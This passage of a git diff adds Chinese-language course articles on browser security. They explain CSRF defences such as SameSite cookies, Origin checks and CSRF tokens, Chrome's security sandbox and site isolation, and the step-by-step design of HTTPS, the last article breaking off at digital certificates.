||||
要让服务器避免遭受到CSRF攻击,通常有以下几种途径。
|
||||
|
||||
### 1. 充分利用好Cookie 的 SameSite 属性
|
||||
|
||||
通过上面的介绍,相信你已经知道了黑客会利用用户的登录状态来发起CSRF攻击,而**Cookie正是浏览器和服务器之间维护登录状态的一个关键数据**,因此要阻止CSRF攻击,我们首先就要考虑在Cookie上来做文章。
|
||||
|
||||
通常CSRF攻击都是从第三方站点发起的,要防止CSRF攻击,我们最好能实现从第三方站点发送请求时禁止Cookie的发送,因此在浏览器通过不同来源发送HTTP请求时,有如下区别:
|
||||
|
||||
- 如果是从第三方站点发起的请求,那么需要浏览器禁止发送某些关键Cookie数据到服务器;
|
||||
- 如果是同一个站点发起的请求,那么就需要保证Cookie数据正常发送。
|
||||
|
||||
而我们要聊的Cookie 中的SameSite属性正是为了解决这个问题的,通过使用SameSite可以有效地降低CSRF攻击的风险。
|
||||
|
||||
那SameSite是怎么防止CSRF攻击的呢?
|
||||
|
||||
在HTTP响应头中,通过set-cookie字段设置Cookie时,可以带上SameSite选项,如下:
|
||||
|
||||
```
|
||||
set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none
|
||||
|
||||
```
|
||||
|
||||
**SameSite选项通常有Strict、Lax和None三个值。**
|
||||
|
||||
- Strict最为严格。如果SameSite的值是Strict,那么浏览器会完全禁止第三方 Cookie。简言之,如果你从极客时间的页面中访问InfoQ的资源,而InfoQ的某些Cookie设置了SameSite = Strict的话,那么这些Cookie是不会被发送到InfoQ的服务器上的。只有你从InfoQ的站点去请求InfoQ的资源时,才会带上这些Cookie。
|
||||
- Lax相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get方式的表单这两种方式都会携带Cookie。但如果在第三方站点中使用Post方法,或者通过img、iframe等标签加载的URL,这些场景都不会携带Cookie。
|
||||
- 而如果使用None的话,在任何情况下都会发送Cookie数据。
|
||||
|
||||
关于SameSite的具体使用方式,你可以参考这个链接:[https://web.dev/samesite-cookies-explained](https://web.dev/samesite-cookies-explained) 。
|
||||
|
||||
对于防范CSRF攻击,我们可以针对实际情况将一些关键的Cookie设置为Strict或者Lax模式,这样在跨站点请求时,这些关键的Cookie就不会被发送到服务器,从而使得黑客的CSRF攻击失效。
|
||||
|
||||
### 2. 验证请求的来源站点
|
||||
|
||||
接着我们再来了解另外一种防止CSRF攻击的策略,那就是**在服务器端验证请求来源的站点**。由于CSRF攻击大多来自于第三方站点,因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢?
|
||||
|
||||
这就需要介绍HTTP请求头中的 Referer和Origin 属性了。
|
||||
|
||||
**Referer是HTTP请求头中的一个字段,记录了该HTTP请求的来源地址**。比如我从极客时间的官网打开了InfoQ的站点,那么请求头中的Referer值是极客时间的URL,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/15/c9/159430e9d15cb7bcfa4fd014da31a2c9.png" alt="">
|
||||
|
||||
虽然可以通过Referer告诉服务器HTTP请求的来源,但是有一些场景是不适合将来源URL暴露给服务器的,因此浏览器提供给开发者一个选项,可以不用上传Referer值,具体可参考**Referrer Policy**。
|
||||
|
||||
但在服务器端验证请求头中的Referer并不是太可靠,因此标准委员会又制定了**Origin属性**,在一些重要的场合,比如通过XMLHttpRequest、Fecth发起跨站请求或者通过Post方法发送请求时,都会带上Origin属性,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/25/03/258dc5542db8961aaa23ec0c02030003.png" alt="">
|
||||
|
||||
从上图可以看出,Origin属性只包含了域名信息,并没有包含具体的URL路径,这是Origin和Referer的一个主要区别。在这里需要补充一点,Origin的值之所以不包含详细路径信息,是有些站点因为安全考虑,不想把源站点的详细路径暴露给服务器。
|
||||
|
||||
因此,服务器的策略是优先判断Origin,如果请求头中没有包含Origin属性,再根据实际情况判断是否使用Referer值。
|
||||
|
||||
### 3. CSRF Token
|
||||
|
||||
除了使用以上两种方式来防止CSRF攻击之外,还可以采用CSRF Token来验证,这个流程比较好理解,大致分为两步。
|
||||
|
||||
第一步,在浏览器向服务器发起请求时,服务器生成一个CSRF Token。CSRF Token其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中。你可以参考下面示例代码:
|
||||
|
||||
```
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<form action="https://time.geekbang.org/sendcoin" method="POST">
|
||||
<input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn">
|
||||
<input type="text" name="user">
|
||||
<input type="text" name="number">
|
||||
<input type="submit">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
第二步,在浏览器端如果要发起转账的请求,那么需要带上页面中的CSRF Token,然后服务器会验证该Token是否合法。如果是从第三方站点发出的请求,那么将无法获取到CSRF Token的值,所以即使发出了请求,服务器也会因为CSRF Token不正确而拒绝请求。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天我们就介绍到这里,下面我来总结下本文的主要内容。
|
||||
|
||||
我们结合一个实际案例介绍了CSRF攻击,要发起CSRF攻击需要具备三个条件:目标站点存在漏洞、用户要登录过目标站点和黑客需要通过第三方站点发起攻击。
|
||||
|
||||
根据这三个必要条件,我们又介绍了该如何防止CSRF攻击,具体来讲主要有三种方式:充分利用好Cookie的SameSite属性、验证请求的来源站点和使用CSRF Token。这三种方式需要合理搭配使用,这样才可以有效地防止CSRF攻击。
|
||||
|
||||
再结合前面两篇文章,我们可以得出页面安全问题的主要原因就是浏览器为同源策略开的两个“后门”:一个是在页面中可以任意引用第三方资源,另外一个是通过CORS策略让XMLHttpRequest和Fetch去跨域请求资源。
|
||||
|
||||
为了解决这些问题,我们引入了CSP来限制页面任意引入外部资源,引入了HttpOnly机制来禁止XMLHttpRequest或者Fetch发送一些关键Cookie,引入了SameSite和Origin来防止CSRF攻击。
|
||||
|
||||
通过这三篇文章的分析,相信你应该已经能搭建**Web页面安全**的知识体系网络了。有了这张网络,你就可以将HTTP请求头和响应头中各种安全相关的字段关联起来,比如Cookie中的一些字段,还有X-Frame-Options、X-Content-Type-Options、X-XSS-Protection等字段,也可以将CSP、CORS这些知识点关联起来。当然这些并不是浏览器安全的全部,后面两篇文章我们还会介绍**浏览器系统安全**和**浏览器网络安全**两大块的内容,这对于你学习浏览器安全来说也是至关重要的。
|
||||
|
||||
## 思考题
|
||||
|
||||
今天留给你的思考题:什么是CSRF攻击?在开发项目过程中应该如何防御CSRF攻击?
|
||||
|
||||
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
|
||||
|
||||
|
||||
155
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/35 | 安全沙箱:页面和系统之间的隔离墙.md
Normal file
155
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/35 | 安全沙箱:页面和系统之间的隔离墙.md
Normal file
@@ -0,0 +1,155 @@
|
||||
<audio id="audio" title="35 | 安全沙箱:页面和系统之间的隔离墙" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/68/7d/680fb046caf450ad1e1ba49c74ece17d.mp3"></audio>
|
||||
|
||||
前面三篇文章我们主要围绕同源策略介绍了Web页面安全的相关内容,那今天我们把视野向外延伸,来聊聊页面安全和操作系统安全之间的关系。
|
||||
|
||||
在[《01 | Chrome架构:仅仅打开了1个页面,为什么有4个进程?》](https://time.geekbang.org/column/article/113513)那篇文章中,我们分析了浏览器架构的发展史,在最开始的阶段,浏览器是单进程的,这意味着渲染过程、JavaScript执行过程、网络加载过程、UI绘制过程和页面显示过程等都是在同一个进程中执行的,这种结构虽然简单,但是也带来了很多问题。
|
||||
|
||||
**从稳定性视角来看,单进程架构的浏览器是不稳定的**,因为只要浏览器进程中的任意一个功能出现异常都有可能影响到整个浏览器,如页面卡死、浏览器崩溃等。不过浏览器的稳定性并不是本文讨论的重点,我们今天主要聊的是**浏览器架构是如何影响到操作系统安全的**。
|
||||
|
||||
浏览器本身的漏洞是单进程浏览器的一个主要问题,如果浏览器被曝出存在漏洞,那么在这些漏洞没有被及时修复的情况下,黑客就有可能通过恶意的页面向浏览器中注入恶意程序,其中最常见的攻击方式是利用**缓冲区溢出**,不过需要**注意这种类型的攻击和XSS注入的脚本是不一样的**。
|
||||
|
||||
- XSS攻击只是将恶意的JavaScript脚本注入到页面中,虽然能窃取一些Cookie相关的数据,但是XSS无法对操作系统进行攻击。
|
||||
- 而通过浏览器漏洞进行的攻击是可以入侵到浏览器进程内部的,可以读取和修改浏览器进程内部的任意内容,还可以穿透浏览器,在用户的操作系统上悄悄地安装恶意软件、监听用户键盘输入信息以及读取用户硬盘上的文件内容。
|
||||
|
||||
和XSS攻击页面相比,这类攻击无疑是枚“核弹”,它会将整个操作系统的内容都暴露给黑客,这样我们操作系统上所有的资料都是不安全的了。
|
||||
|
||||
## 安全视角下的多进程架构
|
||||
|
||||
现代浏览器的设计目标是**安全、快速**和**稳定**,而这种核弹级杀伤力的安全问题就是一个很大的潜在威胁,因此在设计现代浏览器的体系架构时,需要解决这个问题。
|
||||
|
||||
我们知道现代浏览器采用了多进程架构,将渲染进程和浏览器主进程做了分离,完整的进程架构我们已经在[《01 | Chrome架构:仅仅打开了1个页面,为什么有4个进程?》](https://time.geekbang.org/column/article/113513)那篇文章中介绍过了,这里我就不重复介绍了。下面我们重点从操作系统安全的视角来看看浏览器的多进程架构,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b8/b1/b83693a1ace43f43f9cab242982de6b1.png" alt="">
|
||||
|
||||
观察上图,我们知道浏览器被划分为**浏览器内核**和**渲染内核**两个核心模块,其中浏览器内核是由网络进程、浏览器主进程和GPU进程组成的,渲染内核就是渲染进程。那如果我们在浏览器中打开一个页面,这两个模块是怎么配合的呢?
|
||||
|
||||
所有的网络资源都是通过浏览器内核来下载的,下载后的资源会通过IPC将其提交给渲染进程(浏览器内核和渲染进程之间都是通过IPC来通信的)。然后渲染进程会对这些资源进行解析、绘制等操作,最终生成一幅图片。但是渲染进程并不负责将图片显示到界面上,而是将最终生成的图片提交给浏览器内核模块,由浏览器内核模块负责显示这张图片。
|
||||
|
||||
在[《01 | Chrome架构:仅仅打开了1个页面,为什么有4个进程?》](https://time.geekbang.org/column/article/113513)中我们分析过,设计现代浏览器体系架构时,将浏览器划分为不同的进程是为了增加其稳定性。虽然设计成了多进程架构,不过这些模块之间的沟通方式却有些复杂,也许你还有以下问题:
|
||||
|
||||
- 为什么一定要通过浏览器内核去请求资源,再将数据转发给渲染进程,而不直接从进程内部去请求网络资源?
|
||||
- 为什么渲染进程只负责生成页面图片,生成图片还要经过IPC通知浏览器内核模块,然后让浏览器内核去负责展示图片?
|
||||
|
||||
通过以上方式不是增加了工程的复杂度吗?
|
||||
|
||||
要解释现代浏览器为什么要把这个流程弄得这么复杂,我们就得从系统安全的角度来分析。
|
||||
|
||||
## 安全沙箱
|
||||
|
||||
不过在解释这些问题之前,我们得先看看什么是安全沙箱。
|
||||
|
||||
上面我们分析过了,由于渲染进程需要执行DOM解析、CSS解析、网络图片解码等操作,如果渲染进程中存在系统级别的漏洞,那么以上操作就有可能让恶意的站点获取到渲染进程的控制权限,进而又获取操作系统的控制权限,这对于用户来说是非常危险的。
|
||||
|
||||
因为网络资源的内容存在着各种可能性,所以浏览器会默认所有的网络资源都是不可信的,都是不安全的。但谁也不能保证浏览器不存在漏洞,只要出现漏洞,黑客就可以通过网络内容对用户发起攻击。
|
||||
|
||||
我们知道,如果你下载了一个恶意程序,但是没有执行它,那么恶意程序是不会生效的。同理,浏览器之于网络内容也是如此,浏览器可以安全地下载各种网络资源,但是如果要执行这些网络资源,比如解析HTML、解析CSS、执行JavaScript、图片编解码等操作,就需要非常谨慎了,因为一不小心,黑客就会利用这些操作对含有漏洞的浏览器发起攻击。
|
||||
|
||||
基于以上原因,我们需要在渲染进程和操作系统之间建一道墙,即便渲染进程由于存在漏洞被黑客攻击,但由于这道墙,黑客就获取不到渲染进程之外的任何操作权限。**将渲染进程和操作系统隔离的这道墙就是我们要聊的安全沙箱**。
|
||||
|
||||
浏览器中的安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过IPC转发给渲染进程。
|
||||
|
||||
安全沙箱最小的保护单位是进程。因为单进程浏览器需要频繁访问或者修改操作系统的数据,所以单进程浏览器是无法被安全沙箱保护的,而现代浏览器采用的多进程架构使得安全沙箱可以发挥作用。
|
||||
|
||||
## 安全沙箱如何影响各个模块功能
|
||||
|
||||
我们知道安全沙箱最小的保护单位是进程,并且能限制进程对操作系统资源的访问和修改,这就意味着如果要让安全沙箱应用在某个进程上,那么这个进程必须没有读写操作系统的功能,比如读写本地文件、发起网络请求、调用GPU接口等。
|
||||
|
||||
了解了被安全沙箱保护的进程会有一系列的受限操作之后,接下来我们就可以分析渲染进程和浏览器内核各自都有哪些职责,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f8/1b/f8cc6394832ed238f18a01eff5726f1b.png" alt="">
|
||||
|
||||
通过该图,我们可以看到由于渲染进程需要安全沙箱的保护,因此需要把在渲染进程内部涉及到和系统交互的功能都转移到浏览器内核中去实现。
|
||||
|
||||
那安全沙箱是如何影响到各个模块功能的呢?
|
||||
|
||||
### 1. 持久存储
|
||||
|
||||
我们先来看看安全沙箱是如何影响到浏览器持久存储的。由于安全沙箱需要负责确保渲染进程无法直接访问用户的文件系统,但是在渲染进程内部有访问Cookie的需求、有上传文件的需求,为了解决这些文件的访问需求,所以现代浏览器将读写文件的操作全部放在了浏览器内核中实现,然后通过IPC将操作结果转发给渲染进程。
|
||||
|
||||
具体地讲,如下文件内容的读写都是在浏览器内核中完成的:
|
||||
|
||||
- 存储Cookie数据的读写。通常浏览器内核会维护一个存放所有Cookie的Cookie数据库,然后当渲染进程通过JavaScript来读取Cookie时,渲染进程会通过IPC将读取Cookie的信息发送给浏览器内核,浏览器内核读取Cookie之后再将内容返回给渲染进程。
|
||||
- 一些缓存文件的读写也是由浏览器内核实现的,比如网络文件缓存的读取。
|
||||
|
||||
### 2. 网络访问
|
||||
|
||||
同样有了安全沙箱的保护,在渲染进程内部也是不能直接访问网络的,如果要访问网络,则需要通过浏览器内核。不过浏览器内核在处理URL请求之前,会检查渲染进程是否有权限请求该URL,比如检查XMLHttpRequest或者Fetch是否是跨站点请求,或者检测HTTPS的站点中是否包含了HTTP的请求。
|
||||
|
||||
### 3. 用户交互
|
||||
|
||||
渲染进程实现了安全沙箱,还影响到了一个非常重要的用户交互功能。
|
||||
|
||||
通常情况下,如果你要实现一个UI程序,操作系统会提供一个界面给你,该界面允许应用程序与用户交互,允许应用程序在该界面上进行绘制,比如Windows提供的是HWND,Linux提供的X Window,我们就把HWND和X Window统称为窗口句柄。应用程序可以在窗口句柄上进行绘制和接收键盘鼠标消息。
|
||||
|
||||
不过在现代浏览器中,由于每个渲染进程都有安全沙箱的保护,所以在渲染进程内部是无法直接操作窗口句柄的,这也是为了限制渲染进程监控到用户的输入事件。
|
||||
|
||||
由于渲染进程不能直接访问**窗口句柄**,所以渲染进程需要完成以下两点大的改变。
|
||||
|
||||
第一点,渲染进程需要渲染出位图。为了向用户显示渲染进程渲染出来的位图,渲染进程需要将生成好的位图发送到浏览器内核,然后浏览器内核将位图复制到屏幕上。
|
||||
|
||||
第二点,操作系统没有将用户输入事件直接传递给渲染进程,而是将这些事件传递给浏览器内核。然后浏览器内核再根据当前浏览器界面的状态来判断如何调度这些事件,如果当前焦点位于浏览器地址栏中,则输入事件会在浏览器内核内部处理;如果当前焦点在页面的区域内,则浏览器内核会将输入事件转发给渲染进程。
|
||||
|
||||
之所以这样设计,就是为了限制渲染进程有监控到用户输入事件的能力,所以所有的键盘鼠标事件都是由浏览器内核来接收的,然后浏览器内核再通过IPC将这些事件发送给渲染进程。
|
||||
|
||||
上面我们分析了由于渲染进程引入了安全沙箱,所以浏览器的持久存储、网络访问和用户交互等功能都不能在渲染进程内直接使用了,因此我们需要把这些功能迁移到浏览器内核中去实现,这让原本比较简单的流程变得复杂了。
|
||||
|
||||
理解这些限制,我们就能解释开始提出的两个问题了。
|
||||
|
||||
## 站点隔离(Site Isolation)
|
||||
|
||||
所谓站点隔离是指Chrome将同一站点(包含了相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行。
|
||||
|
||||
最开始Chrome划分渲染进程是以标签页为单位,也就是说整个标签页会被划分给某个渲染进程。但是,按照标签页划分渲染进程存在一些问题,原因就是一个标签页中可能包含了多个iframe,而这些iframe又有可能来自于不同的站点,这就导致了多个不同站点中的内容通过iframe同时运行在同一个渲染进程中。
|
||||
|
||||
目前所有操作系统都面临着两个A级漏洞——幽灵(Spectre)和熔毁(Meltdown),这两个漏洞是由处理器架构导致的,很难修补,黑客通过这两个漏洞可以直接入侵到进程的内部,如果入侵的进程没有安全沙箱的保护,那么黑客还可以发起对操作系统的攻击。
|
||||
|
||||
所以如果一个银行站点包含了一个恶意iframe,然后这个恶意的iframe利用这两个A级漏洞去入侵渲染进程,那么恶意程序就能读取银行站点渲染进程内的所有内容了,这对于用户来说就存在很大的风险了。
|
||||
|
||||
因此Chrome几年前就开始重构代码,将标签级的渲染进程重构为iframe级的渲染进程,然后严格按照同一站点的策略来分配渲染进程,这就是Chrome中的站点隔离。
|
||||
|
||||
实现了站点隔离,就可以将恶意的iframe隔离在恶意进程内部,使得它无法继续访问其他iframe进程的内容,因此也就无法攻击其他站点了。
|
||||
|
||||
值得注意是,2019年10月20日Chrome团队宣布安卓版的Chrome已经全面支持站点隔离,你可以参考[文中链接](https://www.digitalinformationworld.com/2019/10/google-improves-site-isolation-for-stronger-chrome-browser-security.html)。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容就介绍到这里,下面我来总结下本文的主要内容。
|
||||
|
||||
首先我们分析了单进程浏览器在系统安全方面的不足,如果浏览器存在漏洞,那么黑客就有机会通过页面对系统发起攻击。
|
||||
|
||||
因此在设计现代浏览器的体系架构时,就考虑到这个问题了。于是,在多进程的基础之上引入了安全沙箱,有了安全沙箱,就可以将操作系统和渲染进程进行隔离,这样即便渲染进程由于漏洞被攻击,也不会影响到操作系统的。
|
||||
|
||||
由于渲染进程采用了安全沙箱,所以在渲染进程内部不能与操作系统直接交互,于是就在浏览器内核中实现了持久存储、网络访问和用户交互等一系列与操作系统交互的功能,然后通过IPC和渲染进程进行交互。
|
||||
|
||||
最后我们还分析了Chrome中最新的站点隔离功能。由于最初都是按照标签页来划分渲染进程的,所以如果一个标签页里面有多个不同源的iframe,那么这些iframe也会被分配到同一个渲染进程中,这样就很容易让黑客通过iframe来攻击当前渲染进程。而站点隔离会将不同源的iframe分配到不同的渲染进程中,这样即使黑客攻击恶意iframe的渲染进程,也不会影响到其他渲染进程的。
|
||||
|
||||
今天介绍的内容和概念都比较多,看上去离前端比较远,不过这些内容会影响你对浏览器整体架构的理解,而深入理解了浏览器架构能帮助你更加深刻地理解前端内容。为了方便你的理解,我把一些参考资料放到了文章的最后,有需要的话你可以拿来参考。
|
||||
|
||||
## 思考时间
|
||||
|
||||
今天留给你的思考题:你认为安全沙箱能防止XSS或者CSRF一类的攻击的吗?为什么?
|
||||
|
||||
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
|
||||
|
||||
## 参考资料
|
||||
|
||||
<li>
|
||||
安全沙箱的设计参考了[最小权限原则](https://zh.wikipedia.org/wiki/%E6%9C%80%E5%B0%8F%E6%9D%83%E9%99%90%E5%8E%9F%E5%88%99)
|
||||
</li>
|
||||
<li>
|
||||
[The Security Architecture of the Chromium Browser](http://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf)
|
||||
</li>
|
||||
<li>
|
||||
[The Security Architecture of the Chromium Browser-ppt](https://prezi.com/l3zlqveefln7/the-security-architecture-of-the-chromium-browser/)
|
||||
</li>
|
||||
<li>
|
||||
[chromium site-isolation](https://www.chromium.org/developers/design-documents/site-isolation)
|
||||
</li>
|
||||
<li>
|
||||
[Site Isolation](https://www.bisend.cn/blog/google-chrome-site-isolation)
|
||||
</li>
|
||||
<li>
|
||||
[Site Isolation: Process Separation for Web Sites within the Browser](https://www.usenix.org/system/files/sec19-reis.pdf)
|
||||
</li>
|
||||
|
||||
|
||||
166
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/36 | HTTPS:让数据传输更安全.md
Normal file
166
极客时间专栏/geek/浏览器工作原理与实践/浏览器安全/36 | HTTPS:让数据传输更安全.md
Normal file
@@ -0,0 +1,166 @@
|
||||
<audio id="audio" title="36 | HTTPS:让数据传输更安全" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0f/c2/0f14c3b2050aa3be1144c28ad7acecc2.mp3"></audio>
|
||||
|
||||
浏览器安全主要划分为三大块内容:页面安全、系统安全和网络安全。前面我们用四篇文章介绍了页面安全和系统安全,也聊了浏览器和Web开发者是如何应对各种类型的攻击,本文是我们专栏的最后一篇,我们就接着来聊聊网络安全协议HTTPS。
|
||||
|
||||
我们先从HTTP的明文传输的特性讲起,在上一个模块的三篇文章中我们分析过,起初设计HTTP协议的目的很单纯,就是为了传输超文本文件,那时候也没有太强的加密传输的数据需求,所以HTTP一直保持着明文传输数据的特征。但这样的话,在传输过程中的每一个环节,数据都有可能被窃取或者篡改,这也意味着你和服务器之间还可能有个中间人,你们在通信过程中的一切内容都在中间人的掌握中,如下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/11/e2/118ced11537bd1e257f8df09380f33e2.png" alt="">
|
||||
|
||||
从上图可以看出,我们使用HTTP传输的内容很容易被中间人窃取、伪造和篡改,通常我们把这种攻击方式称为**中间人攻击**。
|
||||
|
||||
具体来讲,在将HTTP数据提交给TCP层之后,数据会经过用户电脑、WiFi路由器、运营商和目标服务器,在这中间的每个环节中,数据都有可能被窃取或篡改。比如用户电脑被黑客安装了恶意软件,那么恶意软件就能抓取和篡改所发出的HTTP请求的内容。或者用户一不小心连接上了WiFi钓鱼路由器,那么数据也都能被黑客抓取或篡改。
|
||||
|
||||
## 在HTTP协议栈中引入安全层
|
||||
|
||||
鉴于HTTP的明文传输使得传输过程毫无安全性可言,且制约了网上购物、在线转账等一系列场景应用,于是倒逼着我们要引入**加密方案**。
|
||||
|
||||
从HTTP协议栈层面来看,我们可以在TCP和HTTP之间插入一个安全层,所有经过安全层的数据都会被加密或者解密,你可以参考下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9e/cf/9e99f797de30a15a11b0e4b4c8f810cf.png" alt="">
|
||||
|
||||
从图中我们可以看出HTTPS并非是一个新的协议,通常HTTP直接和TCP通信,HTTPS则先和安全层通信,然后安全层再和TCP层通信。也就是说HTTPS所有的安全核心都在安全层,它不会影响到上面的HTTP协议,也不会影响到下面的TCP/IP,因此要搞清楚HTTPS是如何工作的,就要弄清楚安全层是怎么工作的。
|
||||
|
||||
总的来说,安全层有两个主要的职责:**对发起HTTP请求的数据进行加密操作**和**对接收到HTTP的内容进行解密操作**。
|
||||
|
||||
我们知道了安全层最重要的就是加解密,那么接下来我们就利用这个安全层,一步一步实现一个从简单到复杂的HTTPS协议。
|
||||
|
||||
## 第一版:使用对称加密
|
||||
|
||||
提到加密,最简单的方式是使用对称加密。所谓**对称加密是指加密和解密都使用的是相同的密钥**。
|
||||
|
||||
了解了对称加密,下面我们就使用对称加密来实现第一版的HTTPS。
|
||||
|
||||
要在两台电脑上加解密同一个文件,我们至少需要知道加解密方式和密钥,因此,在HTTPS发送数据之前,浏览器和服务器之间需要协商加密方式和密钥,过程如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d8/3b/d86648267d5504c7813b2d692620503b.png" alt="">
|
||||
|
||||
通过上图我们可以看出,HTTPS首先要协商加解密方式,这个过程就是HTTPS建立安全连接的过程。为了让加密的密钥更加难以破解,我们让服务器和客户端同时决定密钥,具体过程如下:
|
||||
|
||||
- 浏览器发送它所支持的加密套件列表和一个随机数client-random,这里的**加密套件是指加密的方法**,加密套件列表就是指浏览器能支持多少种加密方法列表。
|
||||
- 服务器会从加密套件列表中选取一个加密套件,然后还会生成一个随机数service-random,并将service-random和加密套件列表返回给浏览器。
|
||||
- 最后浏览器和服务器分别返回确认消息。
|
||||
|
||||
这样浏览器端和服务器端都有相同的client-random和service-random了,然后它们再使用相同的方法将client-random和service-random混合起来生成一个密钥master secret,有了密钥master secret和加密套件之后,双方就可以进行数据的加密传输了。
|
||||
|
||||
通过将对称加密应用在安全层上,我们实现了第一个版本的HTTPS,虽然这个版本能够很好地工作,但是其中传输client-random和service-random的过程却是明文的,这意味着黑客也可以拿到协商的加密套件和双方的随机数,由于利用随机数合成密钥的算法是公开的,所以黑客拿到随机数之后,也可以合成密钥,这样数据依然可以被破解,那么黑客也就可以使用密钥来伪造或篡改数据了。
|
||||
|
||||
## 第二版:使用非对称加密
|
||||
|
||||
不过非对称加密能够解决这个问题,因此接下来我们就利用非对称加密来实现我们第二版的HTTPS,不过在讨论具体的实现之前,我们先看看什么是非对称加密。
|
||||
|
||||
和对称加密只有一个密钥不同,**非对称加密算法有A、B两把密钥,如果你用A密钥来加密,那么只能使用B密钥来解密;反过来,如果你要B密钥来加密,那么只能用A密钥来解密**。
|
||||
|
||||
在HTTPS中,服务器会将其中的一个密钥通过明文的形式发送给浏览器,我们把这个密钥称为**公钥**,服务器自己留下的那个密钥称为**私钥**。顾名思义,**公钥是每个人都能获取到的,而私钥只有服务器才能知道,不对任何人公开**。下图是使用非对称加密改造的HTTPS协议:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b2/50/b2b893921491c62b29aaddc1d4fa9550.png" alt="">
|
||||
|
||||
根据该图,我们来分析下使用非对称加密的请求流程。
|
||||
|
||||
- 首先浏览器还是发送加密套件列表给服务器。
|
||||
- 然后服务器会选择一个加密套件,不过和对称加密不同的是,使用非对称加密时服务器上需要有用于浏览器加密的公钥和服务器解密HTTP数据的私钥,由于公钥是给浏览器加密使用的,因此服务器会将加密套件和公钥一道发送给浏览器。
|
||||
- 最后就是浏览器和服务器返回确认消息。
|
||||
|
||||
这样浏览器端就有了服务器的公钥,在浏览器端向服务器端发送数据时,就可以使用该公钥来加密数据。由于公钥加密的数据只有私钥才能解密,所以即便黑客截获了数据和公钥,他也是无法使用公钥来解密数据的。
|
||||
|
||||
因此采用非对称加密,就能保证浏览器发送给服务器的数据是安全的了,这看上去似乎很完美,不过这种方式依然存在两个严重的问题。
|
||||
|
||||
- **第一个是非对称加密的效率太低**。这会严重影响到加解密数据的速度,进而影响到用户打开页面的速度。
|
||||
- **第二个是无法保证服务器发送给浏览器的数据安全**。虽然浏览器端可以使用公钥来加密,但是服务器端只能采用私钥来加密,私钥加密只有公钥能解密,但黑客也是可以获取得到公钥的,这样就不能保证服务器端数据的安全了。
|
||||
|
||||
## 第三版:对称加密和非对称加密搭配使用
|
||||
|
||||
基于以上两点原因,我们最终选择了一个更加完美的方案,那就是**在传输数据阶段依然使用对称加密,但是对称加密的密钥我们采用非对称加密来传输**。下图就是改造后的版本:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d5/45/d5cd34dbf3636ebc0e809aa424c53845.png" alt="">
|
||||
|
||||
从图中可以看出,改造后的流程是这样的:
|
||||
|
||||
- 首先浏览器向服务器发送对称加密套件列表、非对称加密套件列表和随机数client-random;
|
||||
- 服务器保存随机数client-random,选择对称加密和非对称加密的套件,然后生成随机数service-random,向浏览器发送选择的加密套件、service-random和公钥;
|
||||
- 浏览器保存公钥,并生成随机数pre-master,然后利用公钥对pre-master加密,并向服务器发送加密后的数据;
|
||||
- 最后服务器拿出自己的私钥,解密出pre-master数据,并返回确认消息。
|
||||
|
||||
到此为止,服务器和浏览器就有了共同的client-random、service-random和pre-master,然后服务器和浏览器会使用这三组随机数生成**对称密钥**,因为服务器和浏览器使用同一套方法来生成密钥,所以最终生成的密钥也是相同的。
|
||||
|
||||
有了对称加密的密钥之后,双方就可以使用对称加密的方式来传输数据了。
|
||||
|
||||
需要特别注意的一点,**pre-master是经过公钥加密之后传输的,所以黑客无法获取到pre-master,这样黑客就无法生成密钥,也就保证了黑客无法破解传输过程中的数据了**。
|
||||
|
||||
## 第四版:添加数字证书
|
||||
|
||||
通过对称和非对称混合方式,我们完美地实现了数据的加密传输。不过这种方式依然存在着问题,比如我要打开极客时间的官网,但是黑客通过DNS劫持将极客时间官网的IP地址替换成了黑客的IP地址,这样我访问的其实是黑客的服务器了,黑客就可以在自己的服务器上实现公钥和私钥,而对浏览器来说,它完全不知道现在访问的是个黑客的站点。
|
||||
|
||||
所以我们还需要服务器向浏览器提供证明“我就是我”,那怎么证明呢?
|
||||
|
||||
这里我们结合实际生活中的一个例子,比如你要买房子,首先你需要给房管局提交你买房的材料,包括银行流水、银行证明、身份证等,然后房管局工作人员在验证无误后,会发给你一本盖了章的房产证,房产证上包含了你的名字、身份证号、房产地址、实际面积、公摊面积等信息。
|
||||
|
||||
在这个例子中,你之所以能证明房子是你自己的,是因为引进了房管局这个**权威机构**,并通过这个权威机构给你颁发一个**证书**:房产证。
|
||||
|
||||
同理,极客时间要证明这个服务器就是极客时间的,也需要使用权威机构颁发的证书,这个权威机构称为**CA(Certificate Authority)**,颁发的证书就称为**数字证书(Digital Certificate)**。
|
||||
|
||||
